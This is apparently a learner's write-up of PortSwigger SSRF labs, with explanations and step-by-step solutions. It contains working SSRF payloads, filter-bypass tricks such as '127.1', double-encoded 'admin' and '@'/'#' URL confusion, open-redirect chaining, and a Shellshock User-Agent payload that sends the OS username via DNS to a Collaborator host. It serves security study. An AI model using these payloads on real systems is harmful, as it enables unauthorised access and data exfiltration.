[toc] # What is SSRF? **Server-side request forgery** is a web security vulnerablility that allows an attacker to cause the server-side application to make request to an unintended location (internal-only services or arbitrary externall systems). This could leak sensitive data, such as authorization credentials. # SSRF attacks against the server For example, a shopping application to provide the stock information, the application must query various back-end REST APIs :::spoiler more about REST API REST APIs is a way of designing and implementing web server The main difference between a traditional web server and a REST API 1. **Architecture:** - Traditional web servers typically follow a monolithic architecture, where the server-side application handles boh the presentation logic (HTML rendering) and data processing - REST APIs follow a more modular and distributed architecture, where the client-side and server-side are decoupled. The server exposes a set of resources or endpoints that clients can interact with => allowing for more flexibility and scalability 2. **Data Tranfer:** - Traditional web servers often rely on HTML forms for data transfer, where the client submits a form, and the server processes the form data - REST APIs, use a more standardized appoach to data transfer, typically utilizing JSON or XML as the dat format in the request and reponse payloads. => This allows for better interoperability between different systems and programming 3. **State Management:** - Traditional web servers often maintain session state on the server-side, where user-specific data is stored between requests. - REST APIs are designed to be stateless, meaning that each request from the client contains all the necessary information, and **the server does not store any session data** (read more about token-based authentication or sessionless authentication mechanisms like OAuth 2.0 or JWT). => Beter scalability 4. **Request-Response Model:** - Traditional web servers primarily use the HTTP GET and POST methods for communication - REST APIs make use of the full range of HTTP methods 5. **Flexibilit an Reusability:** - REST APIs are designed to be flexible and reusable. They can be consumed by a wide range of clients, including web browsers, mobile apps, and other web services. This flexibility allows developers to build and integrate applications more easily, as they can leverage existing REST APIs to access and manipulate data ::: It does this by passing the URL to the relevant back-end API endpoint via a front-end HTTP request. When a user views the stock status for an item, their browser makes the following request: ``` POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 ``` This causes the server to make a request to the specified URL, retrieve the stock status and return this to the user In this example, an attacker can modify the request to specify a URL local to the server: ``` POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin ``` The server fetches the contents of the `/admin` URL and returns it to the user. **An attacker can visit the `/admin` URL comes from the local machine, the normal access controls are bypassed**. The application grants full access to the aministrative functionality, because the request appears to originate from a trusted location :::spoiler **Why do applications trust requests that come from the local machine?** - The access control check might be implemented in a different component that sits in front of the application server. When a connection is made back to the server, the check is bypassed. - For disaster recovery purposes, the application might allow administrative access without logging in, to any user coming from the local machine. This provides a way for an administrator to recover the system if they lose their credentials. This assumes that only a fully trusted user would come directly from the server. - The administrative interface might listen on a different port number to the main application, and might not be reachable directly by users. ::: ### APRENTICE Lab: Basic SSRF against the local server This website has a check stock function ![](https://hackmd.io/_uploads/By20P5FJp.png) And this function make a request like this ![](https://hackmd.io/_uploads/Sk35_9KJ6.png) If we change the request URL in stockApi can we cause a SSRF attack??? ![](https://hackmd.io/_uploads/rkJM55Kk6.png) That request not work, cause we are using public domain, not from the local so it cannot bypass the authenticate. Now we will try to change it to local host address like 127.0.0.1 ![](https://hackmd.io/_uploads/S1j8c9Fk6.png) Hmmm something went wrong :face_with_monocle: Maybe because HTTPS, let's change it to HTTP ![](https://hackmd.io/_uploads/Hyb_c5K1a.png) Bingo, we can see admin's function. Now I will use "" ![](https://hackmd.io/_uploads/rJOi9qYJa.png) ![](https://hackmd.io/_uploads/HJpR59t1a.png) ![](https://hackmd.io/_uploads/HJgxi5t1p.png) :::success **Solved** :+1: ::: ### APRENTICE Lab: Basic SSRF against another back-end system In some cases, the application server is able to interact with back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. The back-end systems are normally protected by the network topology, so they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be acessed without authentication by anyone who is able to interact with the systems In the previous example, imagine there is an administrative interface at the back-end URL `https://192.168.0.68/admin`. An attacker can submit the following request to exploit the SSRF vulnerability and accessthe administrative interface: ``` POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin ``` Now let's check the lab This lab have a `checkStock` funtion will send a request to call to another URL in `stockApi` ![](https://hackmd.io/_uploads/rkXqKJnx6.png) When I try to connect to 127.0.0.1 I got an Internal Server Error. So maybe there is nothing in the localhost or in this URL ![](https://hackmd.io/_uploads/SJRAq12xT.png) In description of the lab, it say that there is an admin interface somewhere in the internal 192.168.0.X range on port 8080 So I will try to bruteforce it ![](https://hackmd.io/_uploads/B1hO212gp.png) Most responses return 500, but there is one that returns 404. Both are errors in web communicaion, but here is a little bit different: - **404:** It is a client-side error, meaning that the client was able to communicate with the server, but the server could not locate the specific resource or URL that was requested - **500:** It is a server-side error, meaning that something went wrong on the server. It could be caused by issues such as misconfiguration, programming errors, or problems with server resources (e.g., database connectivity issues) So we can understand that 500 response is IP address does not exist, and 404 is IP address exists but we not request it in a right way. So I try to change it a litte bit, may be `/admin` ![](https://hackmd.io/_uploads/H1xVpAJnga.png) Bingo, we found admin interface. Now we can easily use admin funtion by craft a request like this ![](https://hackmd.io/_uploads/HJoUklhga.png) If you wonder how I can craft URL in `stockApi`, you can check the response we can see a href link when we click `Delete` ![](https://hackmd.io/_uploads/rJdklxhgp.png) And that how I solved this lab ![](https://hackmd.io/_uploads/Sk6gexhgp.png) :::success **Solved** :+1: ::: ### PRACTITIONER Lab: SSRF with whitelist-based input filters Some applications block input containing hostnames like `127.0.0.1` and `localhost`, or sensitive URLs like `/admin`. In this situation, you can offer circumvent the filter using the following techniques: - Use an altervative IP representation of `127.0.0.1`, such as `2130706433`, `017700000001`, or `127.1` - Register your own domain name that resolves to `127.0.0.1`. You can use `spoofed.burpcollaborator.net` for this purpose - Obfuscate blocked strings using URL encoding or case variation - Provide a URL that you control, which redirects to the target URL. Try using different redirect codes, as well as different protocols for the target URL. For example, switching from an `http:` to `https:` URL during the redirect has been shown to bypass some anti-SSRF filters This lab has a stock check feature which fetches data from an internal system. `Check stock` function will send a POST request include `stockApi` data which is an api link. Then server will send a request from to this api. Of cause we can access to this api because it's not public. So it can only be accessed from an internal system. Now what if I change this api to `http://127.0.0.1` ![image](https://hackmd.io/_uploads/r1YQ44BOp.png) We can see that there is a filter which blocked `127.0.0.1` keyword, how about `127.1` ![image](https://hackmd.io/_uploads/ByJxSNS_p.png) Now try to access `/admin` page ![image](https://hackmd.io/_uploads/H1eVwES_p.png) Seem like `admin` keyword also get blocked But with `admin` encode URL twice ![image](https://hackmd.io/_uploads/Byl5v4ru6.png) Now let send a request to delete `carlos` account, we can find this link in the HTML ![image](https://hackmd.io/_uploads/H1M-ONrO6.png) Remember to encode `admin` keyword ![image](https://hackmd.io/_uploads/B11IOVHu6.png) ![image](https://hackmd.io/_uploads/rJW1FEBda.png) :::success **Solved** :+1: ::: ### EXPERT Lab: SSRF with whitelist-based input filter Some applications only allow inputs that match, a whitelist of permitted values. The filter may look for a match at the beginning of the input, or contained with in it. You may be able to bypass this filter by exploiting in consistencies in URL parsing. The URL specification contains a number of features that are likely to be overlooked when URLs implement ad-hoc parsing and validation using this method: - You can embed credentials in a URL before the hostname, using the `@` character. For example: ``` https://expected-host:fakepassword@evil-host ``` - You can use the `#` character to indicate a URL fragment. For example: ``` https://evil-host#expected-host ``` - You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: ``` https://expected-host.evil-host ``` - You can URL-encode characters to confuse the URL-parsing code. - You can use combinations of these techniques together This lab has a stock check feature which fetches data from an internal system 1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater 2. Change the URL in the `stockApi` parameter to `http://127.0.0.1` and observe that the application is parsing the URL, extracting the hostname, and validating it against a whitelist ![image](https://hackmd.io/_uploads/HkjaKKodp.png) 3. Change the URL to `http://username@stock.weliketoshop.net/` and observe that this is accepted, indicating that the URL parser supports embedded credentials ![image](https://hackmd.io/_uploads/HkzW9KiOp.png) 4. Append a `#` to the username and observe that the URL is now rejected ![image](https://hackmd.io/_uploads/B1nScYoda.png) 5. Double-URL encode the `#` to `%2523` and observe the extremely suspicious "Internal Server Error" response, indicating that the server may have attempted to connect to "username" ![image](https://hackmd.io/_uploads/ry9CcYjda.png) 6. Change the "username" to `localhost` and observe that this is accepted and we can see the admin panel ![image](https://hackmd.io/_uploads/HkWEnKidp.png) 7. Access admin panel ![image](https://hackmd.io/_uploads/HyuK3Kidp.png) 8. Delete the target user ![image](https://hackmd.io/_uploads/SyygaKs_T.png) ![image](https://hackmd.io/_uploads/ry-z6toOp.png) :::success **Solved** :+1: ::: ### PRATITIONER Lab: Bypassing SSRF filters via open redirection In the previous example, imagine the user-submitted URL is strictly validated to prevent malicous exploitation of the SSRF behavior. However, the application whose URLs are allowed contains an open redirection vulnerability. Provided the API used to make the back-end HTTP request supports redirections, you can construct a URL that satisfies the filter and results in a redirected request to the desired back-end target For example, the application contains an open redirection vulnerability in which the following URL: ``` /product/nextProduct?currentProductId=6&path=http://evil-user.net ``` returns a redirection to: ``` http://evil-user.net ``` Like in this lab, I found an endpoint used param `path` to redirect. Then a found that this endpoint work with `stockApi` too So now we can redirect to `http://192.168.0.12:8080` from internal by sending `stockApi` like this ![image](https://hackmd.io/_uploads/ryA235i_p.png) Delete target user ![image](https://hackmd.io/_uploads/r1LK6qj_a.png) ![image](https://hackmd.io/_uploads/BJmoaqouT.png) :::success **Solved** :+1: ::: ## Blind SSRF :::info :bulb: Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response ::: ## How to find and exploit blind SSRF vulnerabilities The most reliable way to detect blind SSRF vulnerabilities is using out-of-band (OAST) techniques ### PRACTITIONER Lab: Blind SSRF with out-of-band detection This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded ![image](https://hackmd.io/_uploads/SklXbAiua.png) Then you will see an interaction from `Collaborator tab` ![image](https://hackmd.io/_uploads/HJ5rbCiOa.png) That's how we solve the lab =)) ![image](https://hackmd.io/_uploads/H1Qh-RoOa.png) :::success **Solved** :+1: ::: ### EXPERT Lab: Blind SSRF with Shellshock exploitation Simply identifying a blind SSRF vulnerability that can trigger out-of-band HTTP requests doesn't in itself provide a route to exploitability. Since you cannot view the response from the back-end request, the behavior can't be used to explore content on systems that the application server can reach. However, it can still be leveraged to probe for other vulnerabilities on the server itself or on other back-end systems. You can blindly sweep the internal IP address space, sending payloads designed to detect well-known vulnerabilities. If those payloads also employ blind out-of-band techniques, then you might uncover a critical vulnerability on an unpatched internal server 1. In Burp Suite Professional, install the "Collaborator Everywhere" extension from the BApp Store ![image](https://hackmd.io/_uploads/SyTdkcy96.png) 2. Add the domain of the lab to Burp Suite's target scope, so that Collaborator Everywhere will target it ![image](https://hackmd.io/_uploads/SkA0yqk96.png) 3. Browse the site 4. Observe that when you load a product page, it triggers an HTTP interaction with Burp Collaborator, via the Referer header ![image](https://hackmd.io/_uploads/HJ4d-515a.png) 5. Observe that the HTTP interaction contains your User-Agent string within the HTTP request 6. Send the request to the product page to Burp Intruder 7. Go to the Collaborator tab and generate a unique Burp Collaborator payload. Place this into the following Shellshock payload: ``` () { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN ``` 8. Replace the User-Agent string in the Burp Intruder request with the Shellsock payload containing your Collaborator domain ![image](https://hackmd.io/_uploads/ry6fd9Jcp.png) 9. Click `Clear §`, change the Referer header to `http://192.168.0.1:8080` then highlight the final octet of the IP address (the number `1`), click `Add §` ![image](https://hackmd.io/_uploads/ByB67c15T.png) 10. Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the `From` and `To` and `Step` boxes respectively ![image](https://hackmd.io/_uploads/r1tQE51cT.png) 11. Click "Star attack" 12. When the attack is finished, go back to the Collaborator tab, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously. You should see a DNS interaction that was initiated by the back-end system that was hit by the successful blind SSRF attack. The name of the OS user should appear within the DNS subdomain ![image](https://hackmd.io/_uploads/rJ8Vd91cp.png) ![image](https://hackmd.io/_uploads/SkJvdc196.png) :::success **Solved** :+1: :::